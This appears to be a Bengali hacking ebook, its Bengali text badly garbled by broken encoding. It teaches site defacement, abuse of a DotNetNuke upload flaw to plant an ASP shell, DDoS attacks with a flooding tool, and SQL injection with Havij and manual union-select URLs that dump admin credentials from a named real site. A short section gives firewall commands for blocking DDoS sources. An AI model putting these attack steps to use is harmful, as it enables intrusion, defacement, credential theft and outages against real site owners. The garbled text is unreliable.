সল চছর এপলাআ চছক কচছয কতদনঅয মকতদ অচছযা সরখা সমাগ কযচছত চান তচছফ Add এ কতিক করন

সরখা সল চছর চছক কচছয কতদন

এফায Create Defacement এ কতিক কচছয অনায পাআচছর এয নাভ অয জাযগা সদকতখচছয সব কচছয কতনন

সব চছয সগচছর পাআরটি চছন কচছয সদখনঅকতন HTML এ াযদী চছর সজটি সনাটচছড এ চছন কচছয আচছেভত একতডট কচছয কতনন এফং অনায যাক কযা াআট এ অচছরাড কচছয কতনন Simple Demo - httppastehtmlcomviewbonexk664html

--==অকতনমকতদ HTML াচছযন==--

অকতন মকতদ HTML াচছযন তচছফ গগর সথচছক াচব কতদচছয চছননয কতডচছপচছজ ডাউনচছরাড কতদচছয সটি অনায নাভ আনচছপা কতদচছয অনায ফাকতনচছয কতদন

Collection -bcaware

httpwwwtunerpagecomarchives78980

httpwwwtunerpagecomarchives98804

httpwwwtunerpagecomarchives219088

httpwwwtunerpagecomarchives224434

---------------------------------------------------------------------------------------

---------------------------------------------------------------------------------

1মেব মপরাগরাসমিং সলোর জিয ৩০ টি বািংা িআ-বক বা pdf বিআ

2 Collection of Important Programming Languages E-books

httpwwwfacebookcomdownload290805637728289Collection20of20Important2

0Programming20Languages20Erar

3 Collection of best SQL injection Tools

পটযযায গচছরা ডাউনচছরাড কযচছত অনাচছক গর এ জচছযন কযচছত চছফ

অভাচছদয সপফক গর টি সচছকরট যায অচছন জচছযন কযচছত াযচছফন না তাআ সকউ মকতদ অভাচছদয গরচছ জচছযন কযচছত চান তাআচছর অভাচছক সপফচছকঅনায সপফক সপরাপাআর কতরে সভচছজ কতদন অকতভ যাড কচছয কতদফঅয সকাথায সকান বর চছর কতনজগচছন কষভা কচছয কতদচছফন

পারক অচছভদ

wwwfacebookcommdfaroqueahmed

Mystrious Tusin

wwwfacebookcomcyb3rc0d3

Page 35: Hacking Bangla eBook

এফায সকাড ফগচছরা ককত করন

ছকতফ

এফায অনায একতডট কযা indexasp পাআরটিচছত ফগচছরা সকাড সি কচছয সব করন

ছকতফ

সব কযায য অকতন এভন একটি সজ াচছফন

ছকতফ

এফায অকতন অনায কতডচছপআ সচছজয নাভ কতবকটিচছভয াআচছটয কতরংচছকয সচছল কতদচছত চছফ তাচছর এফায অকতন কচছয মান

কতবকতড টিউচছটাকতযযার httpwwwyoutubecomwatchv=iG-cjssooVgampfeature=related

`

DNN কতক DNN র ভাআচছকরাপট এয একত (ASP) সপরাগরাকতভং রযাংগচছযজ এয একটা ফাগ(Bug) এয িনব নাভঃ Dot Net Nuke এয ভাধযচছভ অভযা পাআরচছর অচছরাড কযচছত াযফ সম সকান াআট কতক যাক কযা মাচছফ না সম কর াআট এআ Vulnerable স কর াআট যাক কযা মাচছফ চছনক াআট এ Hackable১ কতক বাচছফ াফ Vulnerable াআট ভাভ অচছছ না ভাভ থাকচছত কতচনতা নাআ অকতভ কচছযকটা ডকব কতদকতে মা কতদচছয চছজআ Vulnerable াআট সফয কযচছত াযচছফন

inurlportals0inurlProvidersHtmlEditorProvidersFckfcklinkgalleryaspxinurlFckfcklinkgalleryaspx

গগচছর এটি কতরচছখ াচব কতদচছর চছনক Vulnerable চছযফাআট সচছয মাচছফ তায সথচছক সমচছকান একটি সফচছছ না

ছকতফ

২ এখন সযজাি এয একটা াআটএ কতিক করন অকতন এআযকভ সদখচছত াচছফন ছকতফ

৩ File (A File On Your Site) কতরখা সযকতড ফাটচছন কতিক কচছযা

ছকতফ

৪ এখন বরাউজায এয এচছেফায এয কতরখন javascript__doPostBack(ctlURL$cmdUploadlsquo)

ছকতফ

৫ Script যান কযাচছর পাআর Upload কযায জনয কতচচছতরয ভত Browse ফাটনটি াচছফছকতফ

৬এখাচছন Browse কচছয JpgGifswf আতযাকতদ পাআর Upload কযচছত াযচছফ এখাচছন মাআ Upload কযচছফ তা াধাযন বাচছফ portals0 সত Upload চছফ মকতদ সতাভায াআচছটয নাভ য targetnet এফং সতাভায Upload কযা পাআর এয নাভ মকতদ য testswf তাচছর সতাভায পাআর াচছফ httpwwwTargetnetportals0testswf সত

কতনচছজয নাচছভ একটি ফলযা(swf) Animation ফাকতনচছয Upload কচছয দাফযা এআখান সথচছক জাবাকতিপটটা ডাউনচছরাড কচছয কতনন httpwwwmediafirecomirruu15qetlebuj gtgtএফাযঅকত নযবাচছফgtgt অচছগয ভতআ STOP পরজনত অন তাযয নতন অনটি সত কতিক কচছয একটা সর অচছরাড কয এখান সথচছক ASP সরটি ডাউনচছরাড করন httpwwwmediafirecomdownloadroi2g28hhyi0r6xaspydrvzip তাযয অচছরাড কয

কতকনত অনাচছক যাকতয ASP পাআর অচছরাড কযচছত কতদচছফ না এআ জনয কতটরক ফযাফায কযচছত চছফ সতাভায

সর টা কতযচছনভ কচছয কতরখন marufaspjpg এখন অচছরাড কচছয সদখন অচছরাড কযচছত কতদচছে অনাচছক ফযআ ASP সর ফযাফায কযচছত চছফ PHP সর কতকনত কাজ কযচছফ না সর অচছরাড চছযচছগচছর এআখাচছন মান httpকতবকতকটভcomportals0marufaspjpg ―কতবকতকটভ এয জাযগায সতাভায Hackable াআচছটয নাভ কতরখচছফতাযয সচছয মাচছফ সর একচছ আযা আযা হযা াআট সতাভায কটরচছর সতভন কষকতত কযচছফ না অয মাযা একট Advance তাযা Backconnect কতদচছয াবব ায Root কচছয সপর কতবকতড সদখন httpwwwyoutubecomwatchv=3KVi3_Fkkww

কতরখাটি একতডট কযা চছযচছছ ভারপ অরভ P1n1X_Cr3w সাে সথচছক

ফযাকতক যাকতকং-১২ -DdoS কতক DdoS যাটাক কতক সকন কতকবাচছফ

কতকবাচছফ DdoS যাটাক কযফ

পরথভ পরশন DoS কতজকতন টা কতক DDoS এফং DoS কতক একআ কতজকতন

DoS এয কতযণব র চছে Denial of Service DoS যাটাক এ একটা কতকত থফাএকটা আনটাযচছনট কাচছনকন [ যাটাকায ] সথচছক একটা কতনকতদব ি াবব ায [কতবকটিভ ] এ নফযত [ ফলাকতডং ] TCP UDP যাচছকট াঠাচছনা য

এচছত কচছয আ কতনকতদব ি াবব ায এয ফযানডউআথ এফং নযানয ফকতকছ বাযচছরাড চছযমায পরাপর এয য সমআ আ াবব ায এ কাচছনকন কযায সচিা কযচছফ তাচছকআ াবব ায াকতবব সদযা সথচছক কতফযত থাকচছফ

থবাৎ সাজাকতজ Denial of Service চছফ াবব ায সথচছক

এফায DDoS এটায ণব র চছে Distributed Denial of Service ফযাায টা এবাচছফ কতচনতা করন hellip অকতন যাসতা কতদচছয সচছট মাচছেন ঠাৎ কচছয অনাচছকএকজন কতছনতাআকাযী অকরভন কযচছরা

এখন অকতন মকতদ গাচছয গতচছয তায সথচছক একট কতিারী চছয থাচছকন এফং বাগয খাকতনক টা পরনন চছয থাকচছর অকতন উরচছটাআ কতছনতাআকাযী সক কতটিচছয তিা ফাকতনচছয কতদচছয াচছযন

কতকনত মকতদ অনাচছক ১ জচছনয জাযগা সত ১০ -১২ জন অকরভন কচছয

১৫ কতদন য াাতার সথচছক ছািা াচছফন ঠিক এযকভ ফযাায আ চছে DDoS DoS এয ভত কচছযআ কাজ কচছয কতকনত DDoS এ চছনক সফী যাটাকায একাচছথ কাজ কচছয পরাপর বযাফ

অভায কথাফাতব া কতক একট উদভট রাগচছছ S এতখন মা ফররাভ তা কতক দচছফবাধয রাগচছছ তাচছর কতনচছচয কতচতরগচছরা সদখন ফচছঝ জাচছফন কতকবাচছফ DoS এফং DDoS কতকবাচছফকাজ কচছয

একটা াধাযণ কাচছনকন কাজ কচছয এআ বাচছফ কতনচছচয কতচচছতরয ভত কচছয

কতকনত DoS যাটাক টা চছে কতনচছচয ভত

অয DDoS যাটাক চছে কতনচছচয কতচচছতরয ভত

D0S DDoS attack এয কাযন কতক

২ টা কাযচছন DoSDDoS যাটাক চছয থাচছক ১) যাকায এয কভতরচছফ থফা ২) sysadmin এয বার ভতরফ এ

অন সদচছখ সনআ সক কতক কাযচছন যাটাক কচছয থাচছক

১) যাকাযচছদয কভতরফ

খফআ নাটকীয উাচছয আ াবব ায এ কতনচছজয কতডকতজটার পটকতপরনট ঢাকায জনয আ াবব ায সক সফাকা ফানানয উচছেচছ

ফ সথচছক যাতন ভানকতফক সদাল যাগ থফা সকরাধ সথচছক কতফনা কাযচছন

যত যাকায আ াবব ায এ একটা সটরাজান আনসটর কচছযচছছ কতকনত তা একটিব কযচছত একটা কতযোটব রাগচছফ তায জনয এআ যাটাক

থফা শধ ভাতর একজন কতিপট কতককতড কতনচছজয ভকতনসযানা সদখাচছনায জনয

থফা কতনতানতআ পরযাকটি এয উচছেচছ

২) sysadmin এয বার ভতরফ

নতন সকান যাচ অচছডট থফা আনসটর কযা চছর তায কতসথকততীরতা যীকষা কযায উচছেচছ

াবব ায এফং কতচছেভ এয বারনাকতফকতযকতরটি ফা বেযতা সক যীকষা কযায উচছেচছ

কতচছেভ এয যানযাচছয সপরাগরাভ এয তরটিয কাযচছন

DoS DDoS কতকবাচছফ াবব ায এয ১২ টা ফাজায

DoS DDoS াধাযনত ২ বাচছফ াবব ায এয কষকতত কচছয থাচছক ১) াবব ায সক করযা ককতযচছয ২) াবব ায সক ফলাড ককতযচছয

ড যাটাক এয কভন কামবপরণারী গচছরা চছে -

কতফকতবনন যকভ কতযচছাব গচছরা সমভন ফযানডউআথ পরচছয টাআভ কতডসক সসপ আতযাকতদ ফযসত যাখা

কনকতপগাচছযন আনপচছভবন সমভন রটিং আনপচছভবন গচছরাচছক ফযাত কচছয কতফঘন কযা

সেট আনপচছভবন গচছরাচছক ফযাত কচছয কতফঘন কযা

কতপকতজকার সনটযাকব এয কতফকতবনন ং গচছরাচছক ফযাত কচছয কতফঘন কযা

াধাযণ আউজায এফং াবব ায এয সবতয সমাগাচছমাগ কতফকতছনন কযা সমাগাচছমাগ সথান কযচছত ফাধা সদযা সভকতন এয ভাআচছকরাচছকাড গচছরাচছত এযয সদখাচছনা পরচছয এয ফ কষভতাচছক ফযফায কচছয নতন সকান কাজ শর যা সথচছক কতফযত যাচছখ

--------------------------------------------------------------------------------------------------------------------------------------

----------------------

অর ং DdoS কতক DdoS যাটাক কতক সকন কতকবাচছফ কতকবাচছফ DdoS যাটাক কযফ

Ddos এটাক চছে চছযফ কতচছেভ ডাউন কযায একটি িকতত ফাআ কতভচছর কাজ কযচছর সমচছকান ফাঘা ফাঘা াআট ডাউন কচছয সদযা মায কতফসতাকতযত এখন ফরকতছ না শধচছদচছখ মান কতক কতক কযচছত চছফ চছনক বাচছফআ DdoS যাটাক কযা মায তচছফ অকতভ নফ সেনডকতর নতন সদয জনয জ িকতত টাআ এখাচছন অজ সদখাফ কতনচছচয ধাগচছরা নযন করন তাচছর খফ চছজআ সম সকউ াযচছফন ড যাটাক কযচছত

পরথচছভআ সদখচছত চছফ অভযা সম াআট টাচছত ড যাটাক কযফ তায াবব ায ড যাটাচছকয কাচছছ ায ভানচছফ কতকনা এফং এয অআকত কত

এটা সদখায জনয পরথচছভ httpuptimenetcraftcom এআ কতরচছে মান এফং সম াআট টা অকরভন কযচছত চান তা কতনচছচয সদখাচছনা কতচচছতরয ভত কচছয কতনকতদব ি ফকস এ কতরখন

এফাযাচব সযজাি অচছর কতনচছচয কতচতর সত সদখাচছনা ২ টা ং রকষয করন পরথভটি অভাচছদয সক ফরচছফ আ কতনকতদব ি াআট টি ড যাটাক এ কাফ চছফ নাকতক অয ২যটি থবাৎ অআকত যাচছে টা একটা সকাথা কতরচছখ যাখন

রকষযকরন Apache1327 ( Unix) সরখা টি এটা আ কতনকতদব ি াআট এয াবব ায এখাচছন মকতদ কতনচছচয ৩ টায সমচছকাচছনা একটা সদচছখন তাচছর ফঝচছফন সম এআ াআট এ ডযাটাক কচছয পরাপর াযা মভফ

Apache 1x Apache 2x

GoAhead WebServer

---------------------------------------------------------------------------------------------------------------------------------------

---------------------

এফায শর চছয মান অর সখরায জনয DoS কতক DoS যাটাক কতক সকন কতকবাচছফ

পটযযাযটি ডাউনচছরাড ফা এটি কতনচছয কাজ কযায অচছগ অনায কতকতয একতনটবাআযাচছয সপরাচছটকন প যাখন

এটিচছক অনায একতনট বাআযা সটরাজান ফা বাআযা কতাচছফ কতডচছটকট কযচছত াচছয তচছফ বয নাআ এটি সকান বাআযা ফা সটরাজান নয কতনবব চছয আউজ করন

পটযযাযটি পরথচছভ কতনচছচয কতরে সথচছক ডাউনচছরাড কচছয কতনন এফং Extract করন

httpwwwmediafirecomfamiivi799a9459

পটযযাযটিডাফর কতিক কচছয চছন করন মাচছদয উআচছনডাজ ৭ তাযা পাআচছর যাআট কতিক কচছয Run as

administrator এ কতিক কচছয চছন করন কতনচছচয ভত উআচছনডা অচছফ

১ URL ফচছকস সম সকান াআচছটয নাভ সরখন

(ফাআ কতভচছর একটি াআট কতচছরকট কযচছত চছফ কতচছের এটাচছক াআচছটয কতকছআ চছফ না ট াআচছটয কতরে httpwwwalexacomtopsites এখান সথচছক াচছফন তাআ ফাআ কতভচছর একটি াআট কতচছরকট করন সমটিচছক ডাউন কযচছত চান)

২ lock on কতচছরকট করন

৩ সদখচছফন অআকত রক চছয কতগচছযচছছ

৪ কতচতর এয ভত কচছয http কতচছরকট করন

৫Threads ফকস এ 1000 টাআ করন

৬ এফায EMMA CHARGIN MAH LAZER ফাটনটি সত কতিক করন

৭ ফলাকতডং শর চছয মাচছফ

------------------------------------------------------------------------------------------------------------------------------------------------------------ DoS DDoS এয সথচছক ফাচায উায কতক

ফাচায জনয পরথচছভ অনাচছক জানচছত চছফ অকতন অকরানত কতকনা অয তা সফাঝায জনয সখযার করন

১ যাচছকট র চছে কতকনা থফা কততকতযি ভাতরায াবব ায সরটকযচছছ কতকনা রযাগ চছে কতকনা ২) কততকতযি াবব ায সরাড অনায াবব ায এয াচছথ ংমি কাচছনকন গচছরাচছক সচক কযায জনয CMD সথচছক কতনচছচয কভানড টি কতরখন

netstat -ntu | awk lsquoprint $5rsquo | cut -d -f1 | sort | uniq -c | sort -n

মকতদ সদচছখন সকান একটা কতনকতদব ি থফা কাছা কাকতছ অআকত সথচছক ১০০ + কাচছনকন চছযচছছ

তচছফ ফচছঝ কতনচছফন সম খফয খাযা icon sad

এফায অকত কতকবাচছফ অনায াবব ায সথচছক একটা অআকত সক ফযান কযচছফন hellip

মকতদ অনায াবব াচছয APF firewall আনসটর কযা থাচছক তচছফ CMD সত কতরখন

apf -d xxxxxxxx

মকতদ CSF firewall আনসটর কযা থাচছক তচছফ কতরখন

csf -d xxxxxxxx

অয মকতদ দচছটায একটা না থাচছক এফং অকতন মকতদ শধ iptables আউ কচছযন তচছফ কতরখন

iptables -I INPUT 1 -s -j DROP xxxxxxxx

উচছেখ এখাচছন xxxxxxxx এয সথচছর সম অআকত টা ফযান কযচছত চান তা ফচছফ

তচছফ ফচছর যাখা বার অকতন কতনচছজ ফভযআ াবব ায এ ফচছ থাকচছত াযচছফন না এফং এয যত ার এয খফয যাখচছত াযচছফন না

এয জনয অনাচছক অনায সাটিং এয উয কতনবব য কযচছত চছফ এভন কাচছযা কাছ সথচছক সাটিং কতনচছত চছফ মাযা ফভয সডকতডচছকচছটড ড যাটাক াচছাটব সদয

এছািা অচছযা কতগচছরা কতফলয অচছছ সমগচছরায উয সখযার যাখচছরআ াধাযন ড কতডড যাটাকচছথচছক ফাচচছত াযচছফন খফ চছজআ অন সদচছখ সনআ সগর সকভন

াবব ায সভকতন এয যকষা কতনকতশচত করন ফায অচছগ

চছনকভয সদখা মায যাকায যা সম াবব ায সক যাটাক কযচছত চায সটা সকআ ফায অচছগ সছাটট একটা নাননা ভননা সটরাজান কতদচছয ধযাাযী কচছয যাচছখ

পরাপর ড যাটাচছকয ভয াবব ায কতনচছজ কতনচছজয কতফরচছি কাজ কযা শর কচছয অনাচছক কতনকতশচত কযচছত চছফ াবব ায কতনচছজ সমন ফ কতদক সথচছক যকতকষত থাচছক

এযজনয মথা সকান সনোআব সথচছক সকান ডাটা টরানসপায কযচছফন না যকতকষত াআট ঘযাঘকতয কযচছফন না কতনকতশচত তর সথচছক পরাি সকান পাআর যাকতয চছনকযচছফন না

সকান সকান সাটব গচছরা চছন যাখা জরকতয তা সজচছন কতনন মথা পরচছযাজনীয সাটব সখারা সযচছখ ঝাচছভরা ফািাচছফন না

অনায সকান সকান াবব ায সাটব সখারা যাখা উকতচত তা সজচছন কতনচছত ভাআচছকরাপট এয Microsoft Knowledge Base (KB)

অটিব চছকর 150543 চছত সজচছন কতনন

httpsupportmicrosoftcomdefaultaspxscid=kben-us150543ampsd=tech

াচছযটিং কতচছেভ এয কতডপি কতকযকতযটি সথচছক চছফবারচ পাযদা কতনন

উআচছনডাজ াচছযটিং কতচছেভ ফযফায কযচছর কতচছেভ পাআর সচকতকং [ System File Checking ( SFC) ]

এফং আনটাযচছনট কাচছনকন পাযাযযার [ Internet Connection Firewall ( IFC ) ] এনাচছফর কচছয কতনন এগচছরা কতকনত কতডপি বাচছফ কতডজযাচছফর কযা থাচছক

এগচছরা অনায াবব ায কতচছেভ এয কতপিাকতযং াযপচছভবনস ঠাৎ কচছয ফহগন ফাকতিচছয কতদচছফ

কাচছনকটিকতবটি ককতভচছয কতদন

অনায াবব ায এয াচছথ সমাগাচছমাগ ফা কাচছনকন সথান কযায জনয খফ কতনকতদব ি কতকছ সাটব কতচছরকট কচছয কতদন মাচছত কচছয াবব ায

এফং কাচছনকটিং কতচছেভ দচছটাযআ পাযাযযার িণব ফযাায তা ধযচছত াচছয উদাযণ সবর HTTP SMTP FTP IMAP

এফং POP সাটব গচছরা কতচছরকট করন অনায াবব ায এয াচছথ কাচছনকন এয জনয কতনযধাকতযত সাটব গচছরা

এগচছরা চছনক যকতকষত এফং কতনকতশচত icon smile

পাযাযযার ফযফায করন

উআচছনডাজ এয পাযাযযার মচছথি বার কতকনত মবাি বার না এয জনয অকতন নয পাযায যার ফযফায কচছয সদখচছত াচছযন

এচছত কচছয আনফাউনড অউটফাউনড ফ ধযচছনয কাচছনকন এয উয খফ চছজআ অকতন সচাখ যাখচছত াযচছফন

এফং অনায কতচছেভ াবব ায যকষা সফচছি মাচছফ চছনক গচছন কতগর বার পাযাযযার এয ঠিকানা অকতভ এখাচছন কতদচছয কতদকতে সদচছখ কতনন

httpwwwsymanteccomindexjsp httpwwwsymanteccomindexjsp httpwwwzonealarmcom httpwwwcomodocom

এছািা DoS DDoS attack রযন এয াাময সনযা মায সমভন RioRey

সািটি - pirate_king এফং শভর অকাgtgtgtgtgtএয সাে সথচছক একতডট কযা চছযচছছ

heartsheartshearts Havij

SQLi টিউমটাসরো heartsheartshearts

Download

Havij 15 Pro httpwwwmediafirecoms7a89dxmfwxcyij

পরথচছভ GoogleCom এ মান

এফায কতনচছচয গগর ডকটি কতরচছখ াচব কতদন

inurlphpid=

তাচছর চছনকগচছরা পরাপর সদখাচছফ

এখাচছন চছনক Dork াচছফন httppastebincomDvnHxg7i

সদখন পরাপর সদখাচছে ldquoপরায 2010000000টি পরাপর(023 সচছকনড) rdquo

এফায সম সকান একটি াআচছট পরচছফ করন

এছািা অকতন সম সকান াআট ধযচছত াযচছফন সম ফ াআচছটয য phpid= অচছছ সআ ফ াআচছট াযচছফন সমভনঃ

httpwwwpaulprescottcomthemephpid=10

অভযা এআ াআটটিচছক টাচছগবট কযরাভ

এফায অনায টাচছগবট কযা াআচছটয কতরংচছকয সচছল সদচছখন এভন একটা অচছছ ID=XX এখাচছন XX এয জাযগায সমচছকান নং অচছছ সমভন অভায এখাচছন অচছছ ID=10

এফাযয এআ কতরংচছকয সচছল একটা ( lsquo ) রাগান

এফায এনটায কতদন

এফায মকতদ উচছযয ভচছতা Error সদখায তাচছর ফঝচছফন সম াআটটিচছত inject কযা মাচছফ

এফায ldquoHavijrdquo টরটা চছন করন তাচছর কতনচছচয ভচছতা অচছফ

এফায Error াযা াআটিয কতরংকটি এখাচছন সদন ldquoAnalyzerdquo ফাটচছন কতিক করন (উচছযয কতচতরটি সদখন) এফায কতকছকষণ চছকষা করন তাচছর টরটি চছযফাআটটি যীকষা কযচছফ

মকতদ কাজ য তাচছর এআ যকভ ভযাচছজ কতদচছফ

Current DB XXXX

কতনচছচয ছকতফটি সদখন

এফায ―Tables tab এ মান

এফায ―Get DBlsquos এ কতিক করন

এফায ফাভাচছয যাচছনচছর সদখন ২টা ডযাি পাআর াযা সগচছছ ―paul_third ―information_schema

দটা পাআর

―information_schema অনায ধযায দযকায নাআ এখাচছন MySQL তথয থাচছক

শধ ভাতর ―paul_third কতচছরকট করন

এফায ―Get Tables এ কতিক করন

তাচছর অকতন সটকতফচছরয ডযাি পাআরগচছরা সচছয মাচছফন

এখন অভযা administration panel টি যাক কযচছত সচিা কযফ

এখন ―admin table টি সচক করন

এখাচছন ভাতর ১ জনআ আউজায াচছফন মকতদ অকতন সকান আউজায না ান তাচছর অকতন এখাচছন যাক কযচছত াযচছফন না

এফায ―Get Columns ফাটচছন কতিক করন

তাচছর কতনচছচয ভচছতা অচছফ

এখাচছন ―id ―username ( সম Username কতদচছয চছযফাআচছট রগআন কচছয ) ―password ( সম Password কতদচছয চছযফাআচছট রগআন কচছয) ―email (এডকতভন সম সম আচছভআর কতদচছয সযকতজঃ কচছযচছছ কাজ কচছয)

এফায ―Get Data টযাচছফ কতিক করন

তাচছর টরটি অনাচছক Username Password আচছভআচছরয তথযগচছরা সদখাচছফ

অফায ―Find Admin টযাচছফ কতিক করন

তাচছর এটি অনাচছক Administration Panel login সদকতখচছয সদচছফ

এফায অকতন অনায কতবকটিচছভয চছযফাআটিয নাভ টাআ করন administration panel সফয কযায জনয

তচছফ ভচছন যাখচছফনphpid=XX অফায রাগাচছযন না

ldquoPath to Searchrdquo ফচছকস িণব URL টি কতরখচছফন

এফায ldquoStartrdquo ফাটচছন কতিক করন তাচছর অনাচছক Administration Panel login page টা সদখাচছফ

তাচছর অভযা Administration Panel সরাভ

এফায administration panel login সচছজ মান অচছগয াযা আউজায অআকতড াযাডব কতদচছয এডকতভন সজ রগআন করন

মপাষটটি সমেমেি -িসিববাসিত টিউিারtrade

সকান পটযযায ছািা SQL INJECT কচছয অনাচছদয বানবাফর াআট রাআব যাক কযা কতখাচছফা

তাচছর কথা না ফাকতযচছয শর ককতয

পরথচছভ SQL INJECT কযায জনয অভাচছদয বানবাফর াআট খজচছত চছফ

এয জনয অভযা dork use কযফ

inurlindexphpid= inurltrainersphpid=

inurlbuyphpcategory= inurlarticlephpID=

inurlplay_oldphpid= inurldeclaration_morephpdecl_id=

inurlPageid= inurlgamesphpid=

inurlpagephpfile= inurlnewsDetailphpid=

inurlgalleryphpid=

এআ খাচছন কতকছ dork অচছছ sql বানবাফর াআট খজায জনয

8500 SQL dorks list

httppastebincomdzknXjgP or

httppastebincomayV6tNS2

পরথভ এ একটা dork কতনচছয অভযাwwwgooglecom এ SEARCH কতদফ

inurlnews-and-eventsphpid=

এআ dork কতদযা SEARCH কতদচছয অকতভ চছনক াআট সদখরাভ সখান সথচছক অকতভ একটা াআট কতনরাভ

সমভন httpwwweastodissaacinnews-and-eventsphpid=22

ছকতফঃ

পরথচছভ SQL INJECT কযায জনয াআচছটয ID সবরয খজচছত য

এযয অনাচছক সদখচছত চছফ াআট টি injectable কতকনা

এয জনয অনাচছক url এয সচছল একটি lsquo ফাচছত চছফ

httpwwweastodissaacinnews-and-eventsphpid=22

মকতদ ডাটাচছফচছজয কতকছ কতভকতং অচছ ফা সচছজয কতকছ আযয অচছ তাচছর ফঝচছফন াআট টি injectable

সমভন ldquoYou have an error in your SQL syntax check the manual that corresponds to your MySQL server version for the

right syntax to use near rdquorsquo at line 1Prime

ছকতফঃ

এখন injectable াআচছট inject কযায জনয অনাচছক পরথচছভ ডাটাচছফচছজয করাভ সফয কযচছত চছফ

এখাচছন অভাচছদয বানবাফর াআট

httpwwweastodissaacinnews-and-eventsphpid=22

মাআ সাক অভাচছদয ডাটাচছফচছজয করাভ সফয কযচছত চছর +order+by+ কভানড কতদচছত চছফ

তাচছর কতরংকটি দািায

httpwwweastodissaacinnews-and-eventsphpid=22+order+by+

এখন + এয সচছল অনাচছক 1 সথচছক শর কচছয তত মবনত সচিা কযচছত চছফ

এখন 1 কতনচছয সদচছখন

তাচছর কতরংকটি দািায

httpwwweastodissaacinnews-and-eventsphpid=22+order+by+1--

না তাচছর াআচছট সকাচছনা ডাটা কতভ কযচছতচছছ না

অফায 2 কতদচছয সচিা ককতয

httpwwweastodissaacinnews-and-eventsphpid=22+order+by+2--

ছকতফঃ

না এফায ডাটা কতভ কযচছতচছছ না

এফাচছফ 345 কচছয 7 মবনত সগরাভ

8 এ সগচছর চছযা াআট SQL আযয সদখায

(চছনক ভয সদখা মায

wwwsitecomindexphpid=1 order 999ndash [ no error ]

থবাৎ order by 999 কতদচছর সকান error সদখায না

এচছকষচছতর mdash এয য + এফং id=1 এয য lsquo sign কতদচছত চছফ

তাচছর িণব কতরেটি চছফ

wwwsitecomindexphpid=1prime order by 999ndash+

এফায সচছজ error সদখাচছফ

ফাকতক ংগচছরা াধাযন SQL Injection এয ভতআ চছফ )

httpwwweastodissaacinnews-and-eventsphpid=22+order+by+8--

ছকতফঃ

আযয এযকচছভয চছত াচছয

Could not connect to MySQL server Unknown column rsquo8prime in lsquoorder clausersquo

থবাৎ এআ াআচছটয ডাটাচছফচছজয করাভ 7 টি

এখন অভাচছদয সদখচছত চছফ এআ 7 টা করাচছভয সবতয বানবাফর সকানটি এয জনয অভাচছদয অফায কভানড ফযফায কযচছত চছফ

কভানড টি

+union+select+1234567--

তাচছর কতরংক টি দািাচছফ

httpwwweastodissaacinnews-and-eventsphpid=-22+union+select+1234567--

ছকতফঃ

( উচছেখ এখাচছন news-and-eventsphpid= এয য একটি ndash সদযা চছযচছছ (

এখন অকতন বানবাফর করাভ সদখচছত াচছফন

এআ াআচছটয বানবাফর করাভ 23সদখাচছফ

এখাচছন অভযা 2 নমবয করাভ কতনচছয কাজ কযচছফা

এখন অভযা বানবাফর করাচছভয বাবন সফয কযচছফা

এয জনয অনাচছক অফায একটি কভানড ফযফায কযচছত চছফ

এখন অচছগয কতরংচছক শধ 2 এয জাযগায versionকতদচছত চছফ

তাচছর কতরংক টি দািায

httpwwweastodissaacinnews-and-eventsphpid=-22+union+select+1version34567--

ছকতফঃ

এআ কতরংচছক সগচছর অভযা বাবন সদখচছত াচছফা

এটায বাবন 5168-community

বাবন 5 এয কতনচছচ াআট গচছরা চছফ না তা ফাদ কতদচছয নযগচছরা াআট inject কযচছত সচিা কযচছফন

এখন অভযা অচছযকটি কভানড ফযফায কচছয সটকতফর সফয কযফ

এচছকষচছতর বানবাফর করাচছভয ফদচছর group_concat(table_name) কভানড কতদচছফা এফং সল করাচছভয য

+from+information_schematables+where+table_schema=database()-- কভানড কতদচছফা

তাচছর কতরংকটি দািাচছরা

httpwwweastodissaacinnews-and-eventsphpid=-22+union+select+1group_concat(table_name)34567+from+information_schematables+where+table_schem

a=database()--

কতরংচছক সগচছর অকতন কতকছ সটকতফর সদখচছত াচছফন

ছকতফঃ

এআ াআচছটয সটকতফর গচছরা র

est_achievementest_adminest_adminlogest_companyrecordest_facprofileest_newsest_noticeest_onlineapplicatio

nest_placementrecord

এখন এখান সথচছক এডকতভন সটকতফর সফয কযচছত চছফ

এচছকষচছতর অনাচছক একট ফকতি খাটাচছত চছফ সমভন এখাচছন est_achievement est_companyrecord এয এডকতভন সটকতফর চছফ না ফঝা মায

একভাতর est_admin এডকতভন সটকতফর ভচছন য

ধচছয কতনচছত না াযচছর ফা বর ধযচছর ভাযা সনআ

কভাচছনডয ভাধযচছভ সফয কযচছত চছফ এচছকষচছতর অনাচছক বানবাফর াআচছটয ফদচছর group_concat(column_name) কভানড কতদচছত চছফ

এফং সল করাচছভয য +from information_schemacolumns where table_name= এয য অনায ধচছয সনযা এডকতভন সটকতফচছরয CHAR রানতয কতদচছত চছফ

এআ কতরংক সথচছক এডন টি ডাউনচছরাড কচছয আনসটর কচছযন পাযাযপকস বরাউজায

httpsaddonsmozillaorgen-USfirefoxaddonhackbar

এখন যাকফায টি চছন কচছযন F9 সচচছ

এফায SQLgtMySQLgtMySQL CHAR() কতিক কচছযন

ছকতফঃ

নতন একটা ফকস অচছফন সখাচছন যাডকতভন সটকতফর টি কতদচছয ok কতদন

ছকতফঃ

এখাচছন est_admin সক CHAR রানতয কযচছর য CHAR(101 115 116 95 97 100 109 105 110)

তাচছর কতরংকটি দািায

httpwwweastodissaacinnews-and-eventsphpid=-

22+union+select+1group_concat(column_name)34567+from+information_schemacolumns+where+table_name=CH

AR(101 115 116 95 97 100 109 105 110)--

ছকতফঃ

অকতন এডকতভন সটকতফর ধাযনা না কযচছত াযচছর অকতন = এয য নযানয সটকতফচছরয সকস রানতয কতদচছয সচিা কযচছফন

সমচছত অভযা ফচছঝকতছ est_admin এডকতভন সটকতফর এয CHAR রানতয কতদচছয কতরংচছক কতগচছয অভযা সরাভ কতকছ এডকতভন করাভ

uiduseridpasswordemailidsignaturelast_login

এখন অভযা এডকতভন করাভ সথচছক াআচছট রকতগচছনয জনয আউজাযচছভভ অয াযাডব সফয কযচছফা

এজনয অভাচছদয সল কভানড ফযফায কযচছত চছফ

এজনয অভাচছদয বানবফর করাচছভয ফদচছর group_concat(login0x3aPass0x3a) কভানড কতদচছফা

সমচছত অভযা এডকতভন করাচছভ userId সচছযকতছ তা login এয ফদচছর কভাচছনড userId কতরখচছফা অকতন নয াআচছট নয কতকছ সচছত াচছযন

করাভ কতচছচছফ অনাচছক কভানড কযচছত চছফ

এবক বাচছফ কভাচছনড Pass এয ফদচছর password ফযফায কযচছত চছফ

এফং সল করাচছভয য +from+est_admin-- ফাচছত চছফ

